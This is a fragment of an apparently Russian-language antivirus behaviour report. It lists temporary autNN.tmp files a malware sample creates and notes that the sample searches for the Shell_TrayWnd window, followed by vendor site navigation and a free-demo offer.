%TEMP%\aut62.tmp
%TEMP%\aut66.tmp
%TEMP%\aut6A.tmp
%TEMP%\aut6B.tmp
%TEMP%\aut6C.tmp
%TEMP%\aut67.tmp
%TEMP%\aut68.tmp
%TEMP%\aut69.tmp
%TEMP%\aut56.tmp
%TEMP%\aut57.tmp
%TEMP%\aut58.tmp
%TEMP%\aut53.tmp
%TEMP%\aut54.tmp
%TEMP%\aut55.tmp
%TEMP%\aut59.tmp
%TEMP%\aut5D.tmp
%TEMP%\aut5E.tmp
%TEMP%\aut5F.tmp
%TEMP%\aut5A.tmp
%TEMP%\aut5B.tmp
%TEMP%\aut5C.tmp
%TEMP%\aut36.tmp
%TEMP%\aut11.tmp
%TEMP%\aut12.tmp
%TEMP%\aut13.tmp
%TEMP%\autE.tmp
%TEMP%\autF.tmp
%TEMP%\aut10.tmp
%TEMP%\aut14.tmp
%TEMP%\aut18.tmp
%TEMP%\aut19.tmp
%TEMP%\aut1A.tmp
%TEMP%\aut15.tmp
%TEMP%\aut16.tmp
%TEMP%\aut17.tmp
%TEMP%\aut4.tmp
%TEMP%\aut5.tmp
%TEMP%\aut6.tmp
%TEMP%\aut1.tmp
%TEMP%\aut2.tmp
%TEMP%\aut3.tmp
%TEMP%\aut7.tmp
%TEMP%\autB.tmp
%TEMP%\autC.tmp
%TEMP%\autD.tmp
%TEMP%\aut8.tmp
%TEMP%\aut9.tmp
%TEMP%\autA.tmp
%TEMP%\aut1B.tmp
%TEMP%\aut2C.tmp
%TEMP%\aut2D.tmp
%TEMP%\aut2E.tmp
%TEMP%\aut29.tmp
%TEMP%\aut2A.tmp
%TEMP%\aut2B.tmp
%TEMP%\aut2F.tmp
%TEMP%\aut33.tmp
%TEMP%\aut34.tmp
%TEMP%\aut35.tmp
%TEMP%\aut30.tmp
%TEMP%\aut31.tmp
%TEMP%\aut32.tmp
%TEMP%\aut1F.tmp
%TEMP%\aut20.tmp
%TEMP%\aut21.tmp
%TEMP%\aut1C.tmp
%TEMP%\aut1D.tmp
%TEMP%\aut1E.tmp
%TEMP%\aut22.tmp
%TEMP%\aut26.tmp
%TEMP%\aut27.tmp
%TEMP%\aut28.tmp
%TEMP%\aut23.tmp
%TEMP%\aut24.tmp
%TEMP%\aut25.tmp

Другое:

Ищет следующие окна:

ClassName: '' WindowName: ''
ClassName: 'Shell_TrayWnd' WindowName: ''

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней